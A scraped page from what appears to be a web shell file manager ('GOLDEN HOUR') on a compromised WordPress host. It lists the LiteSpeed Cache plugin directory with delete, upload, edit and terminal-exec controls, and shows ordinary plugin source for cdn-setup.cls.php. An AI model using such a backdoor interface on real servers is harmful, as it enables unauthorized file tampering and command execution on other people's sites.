GOLDEN HOUR
DIR: /home/vlabbdco/public_html/wp-content/plugins/litespeed-cache/src
UP
UPLOAD
Name
Size
Action
activation.cls.php
15.06 KB
DEL
admin-display.cls.php
33.69 KB
DEL
admin-settings.cls.php
9.15 KB
DEL
admin.cls.php
5.2 KB
DEL
api.cls.php
11.28 KB
DEL
avatar.cls.php
6.26 KB
DEL
base.cls.php
30.85 KB
DEL
[ cdn ]
-
DEL
cdn-setup.cls.php
9.63 KB
DEL
cdn.cls.php
13.52 KB
DEL
cloud.cls.php
38.96 KB
DEL
conf.cls.php
18.83 KB
DEL
control.cls.php
20.35 KB
DEL
core.cls.php
17.39 KB
DEL
crawler-map.cls.php
13.42 KB
DEL
crawler.cls.php
30.77 KB
DEL
css.cls.php
13.02 KB
DEL
data.cls.php
16.52 KB
DEL
data.upgrade.func.php
21.85 KB
DEL
[ data_structure ]
-
DEL
db-optm.cls.php
8.66 KB
DEL
debug2.cls.php
11.98 KB
DEL
doc.cls.php
3.54 KB
DEL
error.cls.php
6.38 KB
DEL
esi.cls.php
26.45 KB
DEL
file.cls.php
10.47 KB
DEL
gui.cls.php
27.87 KB
DEL
health.cls.php
3 KB
DEL
htaccess.cls.php
24.34 KB
DEL
img-optm.cls.php
55.77 KB
DEL
import.cls.php
4.32 KB
DEL
instance.cls.php
153 B
DEL
lang.cls.php
16.6 KB
DEL
localization.cls.php
3.53 KB
DEL
media.cls.php
27.13 KB
DEL
metabox.cls.php
3.94 KB
DEL
object-cache.cls.php
15.82 KB
DEL
object.lib.php
14.43 KB
DEL
optimize.cls.php
34.61 KB
DEL
optimizer.cls.php
8.82 KB
DEL
placeholder.cls.php
14.5 KB
DEL
purge.cls.php
29.84 KB
DEL
report.cls.php
5.43 KB
DEL
rest.cls.php
7.52 KB
DEL
root.cls.php
12.88 KB
DEL
router.cls.php
17.7 KB
DEL
str.cls.php
1.18 KB
DEL
tag.cls.php
8.78 KB
DEL
task.cls.php
4.41 KB
DEL
tool.cls.php
3.41 KB
DEL
ucss.cls.php
13.36 KB
DEL
utility.cls.php
21.15 KB
DEL
vary.cls.php
19.44 KB
DEL
vpi.cls.php
7.44 KB
DEL
Edit: cdn-setup.cls.php
<?php /** * CDN Setup service cls * * @since 3.0 */ namespace LiteSpeed; defined( 'WPINC' ) || exit; class Cdn_Setup extends Base { const LOG_TAG = '👷'; const TYPE_LINK = 'link'; const TYPE_NOLINK = 'nolink'; const TYPE_RUN = 'setup'; const TYPE_STATUS = 'status'; const TYPE_RESET = 'reset'; const TYPE_DELETE = 'delete'; private $_setup_token; protected $_summary; /** * Init * * @since 3.0 */ public function __construct() { $this->_setup_token = $this->conf( self::O_QC_TOKEN ); $this->_summary = self::get_summary(); } /** * Update is_linked status if is a redirected back from QC * * @since 3.0 */ public function maybe_extract_token() { $params = $this->cls( 'Cloud' )->parse_qc_redir( [ 'token' ] ); if ( isset( $params[ 'token' ] ) ) { $this->_setup_token = $params[ 'token' ]; $this->cls( 'Conf' )->update_confs( array( self::O_QC_TOKEN => $this->_setup_token ) ); unset( $_GET[ 'token' ] ); } } /** * Callback for updating Auto CDN Setup status after run * * @since 4.7 * @access public */ public function update_cdn_status() { if ( !isset( $_POST[ 'success' ] ) || !isset( $_POST[ 'result' ] ) ) { self::save_summary( array( 'cdn_setup_err' => __( 'Received invalid message from the cloud server. Please submit a ticket.', 'litespeed-cache' ) ) ); return self::err( 'lack_of_param' ); } if (!$_POST[ 'success' ]) { self::save_summary( array( 'cdn_setup_err' => $_POST[ 'result' ][ '_msg' ] ) ); Admin_Display::error( __( 'There was an error during CDN setup: ', 'litespeed-cache' ) . $_POST[ 'result' ][ '_msg' ] ); } else { $this->_process_cdn_status($_POST[ 'result' ]); } return self::ok(); } /** * Request an update on Auto CDN Setup status * * @since 4.7 * @access private */ private function _qc_refresh() { $json = $this->cls('Cloud')->req_rest_api('/user/cdn/status'); if (!$json) { return; } else if (is_string($json)) { self::save_summary( array( 'cdn_setup_err' => $json ) ); return; } $result = array(); if (isset($json['info']['messages'])) { $result['_msg'] = implode('<br>', $json['info']['messages']); } $this->_process_cdn_status($result); } /** * Process the returned Auto CDN Setup status * * @since 4.7 * @access private */ private function _process_cdn_status($result) { if ( isset($result[ 'nameservers' ] ) ) { if (isset($this->_summary['cdn_setup_err'])) { unset($this->_summary['cdn_setup_err']); } if (isset($result[ 'summary' ])) { $this->_summary[ 'cdn_dns_summary' ] = $result[ 'summary' ]; } $this->cls( 'Cloud' )->set_linked(); $this->cls( 'Conf' )->update_confs( array( self::O_QC_NAMESERVERS => $result[ 'nameservers' ], self::O_CDN_QUIC => true ) ); Admin_Display::succeed( '🎊 ' . __( 'Congratulations, QUIC.cloud successfully set this domain up for the CDN. Please update your nameservers to:', 'litespeed-cache' ) . $result[ 'nameservers' ] ); } else if ( isset($result[ 'done' ] ) ) { if ( isset( $this->_summary[ 'cdn_setup_err' ] ) ) { unset( $this->_summary[ 'cdn_setup_err' ] ); } if ( isset( $this->_summary[ 'cdn_verify_msg' ] ) ) { unset( $this->_summary[ 'cdn_verify_msg' ] ); } $this->_summary[ 'cdn_setup_done_ts' ] = time(); $this->_setup_token = ''; $this->cls( 'Conf' )->update_confs( array( self::O_QC_TOKEN => '', self::O_QC_NAMESERVERS => '' ) ); } else if ( isset($result[ '_msg' ] ) ) { $notice = $result[ '_msg' ]; if ( $this->conf( Base::O_QC_NAMESERVERS )) { $this->_summary[ 'cdn_verify_msg' ] = $result[ '_msg' ]; $notice = array('cdn_verify_msg' => $result[ '_msg' ]); } Admin_Display::succeed( $notice ); } else { Admin_Display::succeed( __( 'CDN Setup is running.', 'litespeed-cache' ) ); } self::save_summary(); } /** * Process the returned Auto CDN Setup status * * @since 4.7 * @access private */ private function _qc_reset($delete) { $data = array( 'site_url' => home_url(), ); if ($delete) { $data['delete'] = 1; } if (!empty($this->_setup_token)) { $data['rest'] = function_exists( 'rest_get_url_prefix' ) ? rest_get_url_prefix() : apply_filters( 'rest_url_prefix', 'wp-json' ); $json = $this->cls('Cloud')->req_rest_api('/user/cdn/reset', $data); if (!$json) { return; } else if (is_string($json)) { self::save_summary( array( 'cdn_setup_err' => $json ) ); return; } } else if ( ! isset( $this->_summary[ 'cdn_setup_done_ts' ] ) || ! $this->_summary[ 'cdn_setup_done_ts' ] ) { Admin_Display::info( __( 'Notice: CDN Setup only reset locally.', 'litespeed-cache')); } else if ( ! Cloud::get_summary( 'is_linked' ) ) { Admin_Display::error( __( 'Cannot delete, site is not linked.', 'litespeed-cache' ) ); return; } else { $json = Cloud::post( Cloud::SVC_D_DEL_CDN_DNS, $data); if (!is_array($json)) { return; } } if ( isset( $this->_summary[ 'cdn_setup_ts' ] ) ) { unset( $this->_summary[ 'cdn_setup_ts' ] ); } if ( isset( $this->_summary[ 'cdn_setup_done_ts' ] ) ) { unset( $this->_summary[ 'cdn_setup_done_ts' ] ); } if ( isset( $this->_summary[ 'cdn_setup_err' ] ) ) { unset( $this->_summary[ 'cdn_setup_err' ] ); } if ( isset( $this->_summary[ 'cdn_verify_msg' ] ) ) { unset( $this->_summary[ 'cdn_verify_msg' ] ); } if ( isset( $this->_summary[ 'cdn_dns_summary' ] ) ) { unset( $this->_summary[ 'cdn_dns_summary' ] ); } self::save_summary(); $this->_setup_token = ''; $this->cls( 'Conf' )->update_confs( array( self::O_QC_TOKEN => '', self::O_QC_NAMESERVERS => '', self::O_CDN_QUIC => false ) ); $msg = ''; if ($delete) { $msg = __( 'CDN Setup Token and DNS zone deleted. Note: if my.quic.cloud account deletion is desired, that the account still exists and must be deleted separately.', 'litespeed-cache' ); } else { $msg = __( 'CDN Setup Token reset. Note: if my.quic.cloud account deletion is desired, that the account still exists and must be deleted separately.', 'litespeed-cache' ); } Admin_Display::succeed( $msg ); return self::ok(); } /** * If setup token already exists or not * * @since 4.7 */ public function has_cdn_setup_token() { return !empty( $this->_setup_token ); } /** * Get QC user setup token * * This method initiates a link to a QUIC.cloud account. * * @since 4.7 */ private function _qc_link() { if ( $this->has_cdn_setup_token() ) { return; } $data = array( 'site_url' => home_url(), 'ref' => get_admin_url( null, 'admin.php?page=litespeed-cdn' ), ); if ($this->_api_key) { $data['domain_hash'] = md5( substr( $this->_api_key, 0, 8 ) ); } wp_redirect( Cloud::CLOUD_SERVER_DASH . '/u/wptoken?data=' . Utility::arr2str( $data ) ); exit; } /** * Get QC user setup token * * This method is used when the installation is already linked to an account. * * @since 4.7 */ private function _qc_nolink() { if ( $this->has_cdn_setup_token() ) { return; } $data = array( 'site_url' => home_url(), ); $json = Cloud::post( Cloud::SVC_D_SETUP_TOKEN, $data); if (isset($json[ 'token' ])) { self::save_summary( array( 'cdn_setup_ts' => time() ) ); $this->_setup_token = $json[ 'token' ]; $this->cls( 'Conf' )->update_confs( array( self::O_QC_TOKEN => $this->_setup_token ) ); } } /** * Initiate or continue a QC CDN Setup. * * @since 4.7 */ private function _qc_run() { $data = array( 'site_url' => home_url(), 'rest' => function_exists( 'rest_get_url_prefix' ) ? rest_get_url_prefix() : apply_filters( 'rest_url_prefix', 'wp-json' ), 'server_ip' => $this->conf( self::O_SERVER_IP ), ); if ( $this->_api_key ) { $data['domain_hash'] = md5( substr( $this->_api_key, 0, 8 ) ); } $__cloud = $this->cls( 'Cloud' ); $json = $__cloud->req_rest_api('/user/cdn/', $data); if (!$json) { return; } else if (is_string($json)) { self::save_summary( array( 'cdn_setup_err' => $json ) ); return; } $this->_summary[ 'cdn_setup_ts' ] = time(); $msg = ''; if (isset($json['info']['messages'])) { $msg = implode('<br>', $json['info']['messages']); } $json = $json['result']; if ( isset( $this->_summary[ 'cdn_setup_err' ] ) ) { unset( $this->_summary[ 'cdn_setup_err' ] ); } if ( isset( $this->_summary[ 'cdn_verify_msg' ] ) ) { unset( $this->_summary[ 'cdn_verify_msg' ] ); } self::save_summary(); // Save token option if ( ! empty( $json[ 'token' ] ) ) { $__cloud->set_keygen_token( $json[ 'token' ] ); } // This is a ok msg if ( ! empty( $msg ) ) { self::debug( '_msg: ' . $msg ); $msg = __( 'Message from QUIC.cloud server', 'litespeed-cache' ) . ': ' . $msg; Admin_Display::info( $msg ); return; } self::debug( '✅ Successfully start CDN setup.' ); } /** * Return succeeded response * * @since 3.0 */ public static function ok( $data = array() ) { $data[ '_res' ] = 'ok'; return $data; } /** * Return error * * @since 3.0 */ public static function err( $code ) { return array( '_res' => 'err', '_msg' => $code ); } /** * Handle all request actions from main cls * * @since 3.0 * @access public */ public function handler() { $type = Router::verify_type(); switch ( $type ) { case self::TYPE_LINK: $this->_qc_link(); break; case self::TYPE_NOLINK: $this->_qc_nolink(); break; case self::TYPE_RUN: $this->_qc_run(); break; case self::TYPE_STATUS: $this->_qc_refresh(); break; case self::TYPE_RESET: $this->_qc_reset(false); break; case self::TYPE_DELETE: $this->_qc_reset(true); break; default: break; } Admin::redirect(); } }
SAVE FILE
TERMINAL
EXEC